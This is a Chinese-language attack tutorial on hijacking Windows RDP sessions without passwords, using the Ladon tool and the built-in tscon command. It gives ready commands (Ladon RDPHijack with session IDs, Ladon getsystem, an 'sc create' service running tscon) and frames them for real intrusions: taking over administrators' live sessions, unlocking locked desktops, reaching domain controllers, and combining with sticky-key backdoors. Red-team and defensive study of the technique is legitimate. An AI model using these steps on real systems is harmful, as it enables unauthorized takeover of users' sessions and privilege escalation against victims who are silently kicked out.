〖教程〗RDP會話劫持 Ladon無密碼登陸管理員桌面會話
前言
Windows系統下,tscon或工作管理員右鍵可被用來切換遠端桌面的會話。正常情況下,切換會話時需要提供登入密碼,但在SYSTEM許可權下可夠繞過驗證,無密碼實現未授權登入。該漏洞在2017年由以色列安全研究員Alexander Korznikov在個人部落格中披露,mimikat裡面也有該功能,為了方便Ladon也添加了該功能。
背景
實戰中某個專案的內網HTTPS證書有問題,特別奇葩不知為何,代理或CMD下無法連WEBSHELL,還有些遠端連線程式管理員連著遠端機器,特別是連著資料庫的在自動處理資料,當管理員不在時我們只要接管他的會話就很香了。
漏洞細節
本地使用者若能獲取NT AUTHORITY/SYSTEM許可權執行命令,就能夠劫持任何處於已登入使用者的會話,而無需獲得該使用者的登入憑證。終端服務會話可以是連線狀態也可以是未連線狀態。
Korznikov認為這是個高危漏洞,可允許任何本地管理員劫持會話並訪問:
- 域管理員會話;
- 被劫持使用者正在處理的任何未儲存檔案;
- 被劫持使用者先前登入的任何其他系統或應用(可能包括其他遠端桌面會話、網路共享對映、需要其他登入憑證的應用、郵箱等)
Ladon用法
Load RDPhijack Usage: Ladon RDPHijack sessionID Ladon RDPHijack type or password Example: Ladon RDPHijack 3 Ladon RDPHijack 3 console Ladon RDPHijack 3 P@ssw0rd Ladon RDPHijack 3 disconnect
首先query user檢視會話ID,然後使用Ladon接管會話即可,操作完成後disconnect即可,或者再連回原先會話。
PS: 用這個技術去劫持,系統不會請求合法使用者登出,而是在沒有任何通知的情況下,直接將使用者踢出。
tscon用法
- 先獲取SYSTEM許可權,管理員許可權執行以下命令,將彈出SYSTEM許可權CMD,然後query user檢視已登陸會話
Ladon getsystem cmd.exe
- 建立劫持使用者會話的服務
C:\Users\k8gege>sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#5"
[SC] CreateService SUCCESS
- 啟動服務
net setart sesshijack
PS:該方法優點系統自帶,但稍威麻煩一點
條件
1.管理員許可權
2.使用者桌面(RDP、終端)
強大之處
1.它可以登入到離線的機器。如果機器是在3天之內登出的,儘管它現在是離線狀態,我們也可以進行登入。
2.它可以解鎖會話。如果一個使用者暫時離開他的計算機並且對他的機器,你可以使用這個漏洞進行解鎖登入。
3.他同樣適用於終端。所以,你可以劫持RDP,同樣可以劫持終端。
4.當前使用者切換至域控桌面,直接即可獲取域控許可權
5.特殊程式只能指定使用者訪問(如證書站點、Firefox、Chrome等使用DBAPI的密碼讀取)
6.配合SHIFT或放大鏡等類似後門,可以在不登陸遠端機器的情況下訪問管理員會話。
工具下載
最新版本:https://k8gege.org/Download
歷史版本: https://github.com/k8gege/Ladon/releases